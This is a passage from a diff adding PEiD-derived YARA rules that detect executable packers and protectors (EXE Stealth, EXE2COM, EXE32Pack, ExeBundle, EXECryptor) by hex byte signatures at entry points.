+    strings:
+        $a = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 90 60 90 E8 00 00 00 00 5D 81 ED F7 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 96 0C 00 00 90 8D BD 74 28 40 00 8B F7 AC}
+    condition:
+        $a
+}
+
+rule PEiD_00579_EXE_Stealth_v1_1_
+{
+    meta:
+        description = "[EXE Stealth v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED FB 1D 40 00 B9 7B 09 00 00 8B F7 AC}
+    condition:
+        $a
+}
+
+rule PEiD_00580_EXE_Stealth_v2_71_
+{
+    meta:
+        description = "[EXE Stealth v2.71]"
+        ep_only = "true"
+    strings:
+        $a = {EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED B0 27 40}
+    condition:
+        $a
+}
+rule PEiD_00581_EXE_Stealth_v2_72_
+{
+    meta:
+        description = "[EXE Stealth v2.72]"
+        ep_only = "true"
+    strings:
+        $a = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20}
+    condition:
+        $a
+}
+
+rule PEiD_00582_EXE_Stealth_v2_76____WebToolMaster_
+{
+    meta:
+        description = "[EXE Stealth v2.76 -> WebToolMaster]"
+        ep_only = "true"
+    strings:
+        $a = {EB 65 45 78 65 53 74 65 61 6C 74 68 20 56 32 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 59 4F 55 52 20 41 44 20 48 45 52 45 21 50 69 52 41 43 59 20 69 53 20 41}
+    condition:
+        $a
+}
+
+rule PEiD_00583_EXE_Stealth_v2_7_
+{
+    meta:
+        description = "[EXE Stealth v2.7]"
+        ep_only = "true"
+    strings:
+        $a = {EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED D3 26 40}
+    condition:
+        $a
+}
+
+rule PEiD_00584_EXE2COM__Encrypted_without_selfcheck__
+{
+    meta:
+        description = "[EXE2COM (Encrypted without selfcheck)]"
+        ep_only = "true"
+    strings:
+        $a = {B3 ?? B9 ?? ?? BE ?? ?? BF ?? ?? EB ?? 54 69 ?? ?? ?? ?? 03 ?? ?? 32 C3 AA 43 49 E3 ?? EB ?? BE ?? ?? 8B C6}
+    condition:
+        $a
+}
+
+rule PEiD_00585_EXE2COM__Limited__
+{
+    meta:
+        description = "[EXE2COM (Limited)]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? 8B 04 3D ?? ?? 74 ?? BA ?? ?? B4 09 CD 21 CD 20}
+    condition:
+        $a
+}
+
+rule PEiD_00586_EXE2COM__Method_1__
+{
+    meta:
+        description = "[EXE2COM (Method 1)]"
+        ep_only = "true"
+    strings:
+        $a = {8C DB BE ?? ?? 8B C6 B1 ?? D3 E8 03 C3 03 ?? ?? A3 ?? ?? 8C C8 05 ?? ?? A3}
+    condition:
+        $a
+}
+
+rule PEiD_00587_EXE2COM__Packed__
+{
+    meta:
+        description = "[EXE2COM (Packed)]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? 89 ?? ?? ?? 81 ?? ?? ?? ?? ?? 8C ?? ?? ?? 8C C8 05 ?? ?? 8E C0 BE ?? ?? 8B FE 0E 57 54 59 F3 A4 06 68 ?? ?? CB}
+    condition:
+        $a
+}
+
+rule PEiD_00588_EXE2COM__regular__
+{
+    meta:
+        description = "[EXE2COM (regular)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 8C CA 81 C3 ?? ?? 3B 16 ?? ?? 76 ?? BA ?? ?? B4 09 CD 21 CD 20 0D}
+    condition:
+        $a
+}
+
+rule PEiD_00589_EXE2COM__With_CRC_check__
+{
+    meta:
+        description = "[EXE2COM (With CRC check)]"
+        ep_only = "true"
+    strings:
+        $a = {B3 ?? B9 ?? ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 43 49 32 E4 03 D0 E3}
+    condition:
+        $a
+}
+
+rule PEiD_00590_EXE32Pack_v1_36_
+{
+    meta:
+        description = "[EXE32Pack v1.36]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED CC 8D 40}
+    condition:
+        $a
+}
+
+rule PEiD_00591_EXE32Pack_v1_37_
+{
+    meta:
+        description = "[EXE32Pack v1.37]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED 4C 8E 40}
+    condition:
+        $a
+}
+
+rule PEiD_00592_EXE32Pack_v1_38_
+{
+    meta:
+        description = "[EXE32Pack v1.38]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED DC 8D 40}
+    condition:
+        $a
+}
+
+rule PEiD_00593_EXE32Pack_v1_39_
+{
+    meta:
+        description = "[EXE32Pack v1.39]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED EC 8D 40}
+    condition:
+        $a
+}
+
+rule PEiD_00594_EXE32Pack_v1_3x_
+{
+    meta:
+        description = "[EXE32Pack v1.3x]"
+        ep_only = "true"
+    strings:
+        $a = {3B ?? 74 02 81 83 55 3B ?? 74 02 81 ?? 53 3B ?? 74 01 ?? ?? ?? ?? ?? 02 81 ?? ?? E8 ?? ?? ?? ?? 3B 74 01 ?? 5D 8B D5 81 ED}
+    condition:
+        $a
+}
+
+rule PEiD_00595_ExeBundle_v3_0__small_loader__
+{
+    meta:
+        description = "[ExeBundle v3.0 (small loader)]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 60 BE 00 F0 40 00 8D BE 00 20 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11}
+    condition:
+        $a
+}
+
+rule PEiD_00596_ExeBundle_v3_0__standard_loader__
+{
+    meta:
+        description = "[ExeBundle v3.0 (standard loader)]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 60 BE 00 B0 42 00 8D BE 00 60 FD FF C7 87 B0 E4 02 00 31 3C 4B DF 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB}
+    condition:
+        $a
+}
+
+rule PEiD_00597_EXECrypt_1_0____ReBirth_
+{
+    meta:
+        description = "[EXECrypt 1.0 -> ReBirth]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 60 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 96 0C 00 00 90 8D BD 4E 28 40 00 8B F7 AC}
+    condition:
+        $a
+}
+
+rule PEiD_00598_EXECryptor_2_0_2_1__protected_IAT_____www_strongbit_com___Sign_By_haggar_
+{
+    meta:
+        description = "[EXECryptor 2.0/2.1 (protected IAT) -> www.strongbit.com * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {A4 ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? 94 ?? ?? ?? D8 ?? ?? ?? 00 00 00 00 FF FF FF FF B8 ?? ?? ?? D4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 60 ?? ?? ?? 70 ?? ?? ?? 84 ?? ?? ?? 00 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41}
+    condition:
+        $a
+}
+
+rule PEiD_00599_EXECryptor_2_0_2_1__protected_IAT_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.0/2.1 (protected IAT) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {A4 ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? 94 ?? ?? ?? D8 ?? ?? ?? 00 00 00 00 FF FF FF FF B8 ?? ?? ?? D4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75}
+    condition:
+        $a
+}
+
+rule PEiD_00600_EXECryptor_2_0_2_1____www_strongbit_com___Sign_By_haggar_
+{
+    meta:
+        description = "[EXECryptor 2.0/2.1 -> www.strongbit.com * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F4 56 57 53 BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01 D0 03 45 F4 8B 18 8B 7E 10 01 D7 03 7D F4 09 DB 0F 84 ?? 00 00 00 F7 C3 00 00 00 80 0F 85 04 00 00 00 8D 5C 13 02 81 E3 FF FF FF ?? 53 FF 75 F8 FF 15 9C ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 07 83 45 F4 04 E9 A6 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00601_EXECryptor_2_0_2_1____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.0/2.1 -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F4 56 57 53 BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F}
+    condition:
+        $a
+}
+
+rule PEiD_00602_EXECryptor_2_1_17____Strongbit___SoftComplete_Development__h__
+{
+    meta:
+        description = "[EXECryptor 2.1.17 -> Strongbit / SoftComplete Development (h)]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01}
+    condition:
+        $a
+}
+
+rule PEiD_00603_EXECryptor_2_1_17____Strongbit_SoftComplete_Development__h__
+{
+    meta:
+        description = "[EXECryptor 2.1.17 -> Strongbit/SoftComplete Development (h)]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01 D0 03 45 F4 8B 18 8B 7E 10 01 D7 03 7D F4 09 DB 0F 84 ?? 00 00 00 F7 C3 00 00 00 80 0F 85 04 00 00 00 8D 5C 13 02 81 E3 FF FF FF 7F 53 FF 75 F8 FF 15 9C ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 07 83 45 F4 04 E9 A6 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00604_EXECryptor_2_2_4____Strongbit_SoftComplete_Development__h1__
+{
+    meta:
+        description = "[EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h1)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 04 00 00 00 FF FF FF FF 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_00605_EXECryptor_2_2_4____Strongbit_SoftComplete_Development__h2__
+{
+    meta:
+        description = "[EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h2)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00606_EXECryptor_2_2_4____Strongbit_SoftComplete_Development_
+{
+    meta:
+        description = "[EXECryptor 2.2.4 -> Strongbit/SoftComplete Development]"
+        ep_only = "false"
+    strings:
+        $a = {6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+    condition:
+        $a
+}
+
+rule PEiD_00607_EXECryptor_2_2_6__minimum_protection_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2.6 (minimum protection) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {50 68 ?? ?? ?? ?? 58 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 E8 ?? ?? ?? 00 89 45 F8 E9 ?? ?? ?? ?? 0F 83 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 14 24 5A 57 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 58 81 C0 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 81 C8 ?? ?? ?? ?? 81 E0}
+    condition:
+        $a
+}
+
+rule PEiD_00608_EXECryptor_2_2_6__minimum_protection__
+{
+    meta:
+        description = "[EXECryptor 2.2.6 (minimum protection)]"
+        ep_only = "true"
+    strings:
+        $a = {50 68 ?? ?? ?? ?? 58 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 E8 ?? ?? ?? 00 89 45 F8 E9 ?? ?? ?? ?? 0F 83 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 14 24 5A 57 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 58 81 C0 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 81 C8 ?? ?? ?? ?? 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 C3 E9 ?? ?? ?? ?? C3 BF ?? ?? ?? ?? 81 CB ?? ?? ?? ?? BA ?? ?? ?? ?? 52 E9 ?? ?? ?? 00 E8 ?? ?? ?? 00 E9 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 34 24 5E 66 8B 00 66 25 ?? ?? E9 ?? ?? ?? ?? 8B CD 87 0C 24 8B EC 51 89 EC 5D 8B 05 ?? ?? ?? ?? 09 C0 E9 ?? ?? ?? ?? 59 81 C1 ?? ?? ?? ?? C1 C1 ?? 23 0D ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? E9 ?? ?? ?? ?? C3 E9 ?? ?? ?? 00 13 D0 0B F9 E9 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 64 24 08 31 C0 64 8F 05 00 00 00 00 5A E9 ?? ?? ?? ?? 3C A4 0F 85 ?? ?? ?? 00 8B 45 FC 66 81 38 ?? ?? 0F 84 05 00 00 00 E9 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 87 3C 24 5F 31 DB 31 C9 31 D2 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 89 45 FC 33 C0 89 45 F4 83 7D FC 00 E9 ?? ?? ?? ?? 53 52 8B D1 87 14 24 81 C0 ?? ?? ?? ?? 0F 88 ?? ?? ?? ?? 3B CB}
+    condition:
+        $a
+}
+
+rule PEiD_00609_EXECryptor_2_2_6_DLL__minimum_protection_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2.6 DLL (minimum protection) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {50 8B C6 87 04 24 68 ?? ?? ?? ?? 5E E9 ?? ?? ?? ?? 85 C8 E9 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 0F 81 ?? ?? ?? 00 81 FA ?? ?? ?? ?? 33 D0 E9 ?? ?? ?? 00 0F 8D ?? ?? ?? 00 81 D5 ?? ?? ?? ?? F7 D1 0B 15 ?? ?? ?? ?? C1 C2 ?? 81 C2 ?? ?? ?? ?? 9D E9 ?? ?? ?? ?? C1}
+    condition:
+        $a
+}
+
+rule PEiD_00610_EXECryptor_2_2_6_DLL__minimum_protection__
+{
+    meta:
+        description = "[EXECryptor 2.2.6 DLL (minimum protection)]"
+        ep_only = "true"
+    strings:
+        $a = {50 8B C6 87 04 24 68 ?? ?? ?? ?? 5E E9 ?? ?? ?? ?? 85 C8 E9 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 0F 81 ?? ?? ?? 00 81 FA ?? ?? ?? ?? 33 D0 E9 ?? ?? ?? 00 0F 8D ?? ?? ?? 00 81 D5 ?? ?? ?? ?? F7 D1 0B 15 ?? ?? ?? ?? C1 C2 ?? 81 C2 ?? ?? ?? ?? 9D E9 ?? ?? ?? ?? C1 E2 ?? C1 E8 ?? 81 EA ?? ?? ?? ?? 13 DA 81 E9 ?? ?? ?? ?? 87 04 24 8B C8 E9 ?? ?? ?? ?? 55 8B EC 83 C4 F8 89 45 FC 8B 45 FC 89 45 F8 8B 45 08 E9 ?? ?? ?? ?? 8B 45 E0 C6 00 00 FF 45 E4 E9 ?? ?? ?? ?? FF 45 E4 E9 ?? ?? ?? 00 F7 D3 0F 81 ?? ?? ?? ?? E9 ?? ?? ?? ?? 87 34 24 5E 8B 45 F4 E8 ?? ?? ?? 00 8B 45 F4 8B E5 5D C3 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00611_EXECryptor_2_2_x____SoftComplete_Developement_
+{
+    meta:
+        description = "[EXECryptor 2.2.x -> SoftComplete Developement]"
+        ep_only = "false"
+    strings:
+        $a = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 04 00 00 00 FF FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00612_EXECryptor_2_2_2_3__compressed_code_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2/2.3 (compressed code) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 ?? ?? ?? ?? ?? 8B 1C 24 81 EB ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 6A 04 68 00 10 00 00 50 6A 00 B8 C4 ?? ?? ?? 8B 04 18 FF D0 59 BA ?? ?? ?? ?? 01 DA 52 53 50 89 C7 89 D6 FC F3 A4 B9 ?? ?? ?? ?? 01 D9 FF D1 58 8B 1C 24 68 00 80 00 00 6A 00 50}
+    condition:
+        $a
+}
+
+rule PEiD_00613_EXECryptor_2_2_2_3__compressed_code_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2/2.3 (compressed code) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 58 ?? ?? ?? ?? ?? 8B 1C 24 81 EB ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 6A 04 68 00 10 00 00 50 6A 00 B8 C4 ?? ?? ?? 8B 04 18 FF D0 59 BA ?? ?? ?? ?? 01 DA 52 53 50 89 C7 89 D6 FC F3 A4 B9 ?? ?? ?? ?? 01 D9 FF D1 58 8B 1C 24 68 00 80 00 00 6A 00 50 B8 C8 ?? ?? ?? 8B 04 18 FF D0 59 58 5B 83 EB 05 C6 03 B8 43 89 03 83 C3 04 C6 03 C3 09 C9 74 46 89 C3 E8 A0 00 00 00 FC AD 83 F8 FF 74 38 53 89 CB 01 C3 01 0B 83 C3 04 AC 3C FE 73 07 25 FF 00 00 00 EB ED 81 C3 FE 00 00 00 09 C0 7A 09 66 AD 25 FF FF 00 00 EB DA AD 4E 25 FF FF FF 00 3D FF FF FF 00 75 CC ?? ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_00614_EXECryptor_2_2_2_3__protected_IAT_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2/2.3 (protected IAT) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {CC ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? B4 ?? ?? ?? 08 ?? ?? ?? 00 00 00 00 FF FF FF FF E8 ?? ?? ?? 04 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75}
+    condition:
+        $a
+}
+
+rule PEiD_00615_EXECryptor_2_3_9__compressed_resources_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.3.9 (compressed resources) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {51 68 ?? ?? ?? ?? 59 81 F1 12 3C CB 98 E9 53 2C 00 00 F7 D7 E9 EB 60 00 00 83 45 F8 02 E9 E3 36 00 00 F6 45 F8 20 0F 84 1E 21 00 00 55 E9 80 62 00 00 87 0C 24 8B E9 ?? ?? ?? ?? 00 00 23 C1 81 E9 ?? ?? ?? ?? 57 E9 ED 00 00 00 0F 88 ?? ?? ?? ?? E9 2C 0D 00}
+    condition:
+        $a
+}
+
+rule PEiD_00616_EXECryptor_2_3_9__compressed_resources__
+{
+    meta:
+        description = "[EXECryptor 2.3.9 (compressed resources)]"
+        ep_only = "true"
+    strings:
+        $a = {51 68 ?? ?? ?? ?? 59 81 F1 12 3C CB 98 E9 53 2C 00 00 F7 D7 E9 EB 60 00 00 83 45 F8 02 E9 E3 36 00 00 F6 45 F8 20 0F 84 1E 21 00 00 55 E9 80 62 00 00 87 0C 24 8B E9 ?? ?? ?? ?? 00 00 23 C1 81 E9 ?? ?? ?? ?? 57 E9 ED 00 00 00 0F 88 ?? ?? ?? ?? E9 2C 0D 00 00 81 ED BB 43 CB 79 C1 E0 1C E9 9E 14 00 00 0B 15 ?? ?? ?? ?? 81 E2 2A 70 7F 49 81 C2 9D 83 12 3B E8 0C 50 00 00 E9 A0 16 00 00 59 5B C3 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 E8 41 42 00 00 E9 93 33 00 00 31 DB 89 D8 59 5B C3 A1 ?? ?? ?? ?? 8A 00 2C 99 E9 82 30 00 00 0F 8A ?? ?? ?? ?? B8 01 00 00 00 31 D2 0F A2 25 FF 0F 00 00 E9 72 21 00 00 0F 86 57 0B 00 00 E9 ?? ?? ?? ?? C1 C0 03 E8 F0 36 00 00 E9 41 0A 00 00 81 F7 B3 6E 85 EA 81 C7 ?? ?? ?? ?? 87 3C 24 E9 74 52 00 00 0F 8E ?? ?? ?? ?? E8 5E 37 00 00 68 B1 74 96 13 5A E9 A1 04 00 00 81 D1 49 C0 12 27 E9 50 4E 00 00 C1 C8 1B 1B C3 81 E1 96 36 E5}
+    condition:
+        $a
+}
+rule PEiD_00617_EXECryptor_2_3_9__minimum_protection_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.3.9 (minimum protection) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {68 ?? ?? ?? ?? E9 ?? ?? ?? FF 50 C1 C8 18 89 05 ?? ?? ?? ?? C3 C1 C0 18 51 E9 ?? ?? ?? FF 84 C0 0F 84 6A F9 FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF E8 CF E9 FF FF B8 01 00 00 00 E9 ?? ?? ?? FF 2B D0 68 A0 36 80 D4 59 81 C9 64 98 FF 99 E9 ?? ?? ?? FF 84 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00618_EXECryptor_2_3_9__minimum_protection__
+{
+    meta:
+        description = "[EXECryptor 2.3.9 (minimum protection)]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E9 ?? ?? ?? FF 50 C1 C8 18 89 05 ?? ?? ?? ?? C3 C1 C0 18 51 E9 ?? ?? ?? FF 84 C0 0F 84 6A F9 FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF E8 CF E9 FF FF B8 01 00 00 00 E9 ?? ?? ?? FF 2B D0 68 A0 36 80 D4 59 81 C9 64 98 FF 99 E9 ?? ?? ?? FF 84 C0 0F 84 8E EC FF FF E9 ?? ?? ?? FF C3 87 3C 24 5F 8B 00 03 45 FC 83 C0 18 E9 ?? ?? ?? FF 87 0C 24 59 B8 01 00 00 00 D3 E0 23 D0 E9 02 18 00 00 0F 8D DB 00 00 00 C1 E8 14 E9 CA 00 00 00 9D 87 0C 24 59 87 1C 24 68 AE 73 B9 96 E9 C5 10 00 00 0F 8A ?? ?? ?? ?? E9 ?? ?? ?? FF 81 FD F5 FF 8F 07 E9 4F 10 00 00 C3 E9 5E 12 00 00 87 3C 24 E9 ?? ?? ?? FF E8 ?? ?? ?? FF 83 3D ?? ?? ?? ?? 00 0F 85 ?? ?? ?? ?? 8D 55 EC B8 ?? ?? ?? ?? E9 ?? ?? ?? FF E8 A7 1A 00 00 E8 2A CB FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF 59 89 45 E0}
+    condition:
+        $a
+}
+
+
+rule PEiD_00619_EXECryptor_2_3_9_DLL__compressed_resources_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.3.9 DLL (compressed resources) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {50 68 ?? ?? ?? ?? 58 C1 C0 0F E9 ?? ?? ?? 00 87 04 24 58 89 45 FC E9 ?? ?? ?? FF FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 18 E9 ?? ?? ?? ?? 8B 55 08 09 42 F8 E9 ?? ?? ?? FF 83 7D F0 01 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 34 24 5E 8B 45 FC 33 D2 56 8B F2 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00620_EXECryptor_2_3_9_DLL__compressed_resources__
+{
+    meta:
+        description = "[EXECryptor 2.3.9 DLL (compressed resources)]"
+        ep_only = "true"
+    strings:
+        $a = {50 68 ?? ?? ?? ?? 58 C1 C0 0F E9 ?? ?? ?? 00 87 04 24 58 89 45 FC E9 ?? ?? ?? FF FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 18 E9 ?? ?? ?? ?? 8B 55 08 09 42 F8 E9 ?? ?? ?? FF 83 7D F0 01 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 34 24 5E 8B 45 FC 33 D2 56 8B F2 E9 ?? ?? ?? 00 BA ?? ?? ?? ?? E8 ?? ?? ?? 00 A3 ?? ?? ?? ?? C3 E9 ?? ?? ?? 00 C3 83 C4 04 C3 E9 ?? ?? ?? FF 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 E8 ?? ?? ?? 00 E9 ?? ?? ?? FF C1 C2 03 81 CA ?? ?? ?? ?? 81 C2 ?? ?? ?? ?? 03 C2 5A E9 ?? ?? ?? FF 81 E7 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? 89 07 E9 ?? ?? ?? ?? 0F 89 ?? ?? ?? ?? 87 14 24 5A 50 C1 C8 10}
+    condition:
+        $a
+}
+
+rule PEiD_00621_EXECryptor_2_3_9_DLL__minimum_protection_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.3.9 DLL (minimum protection) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
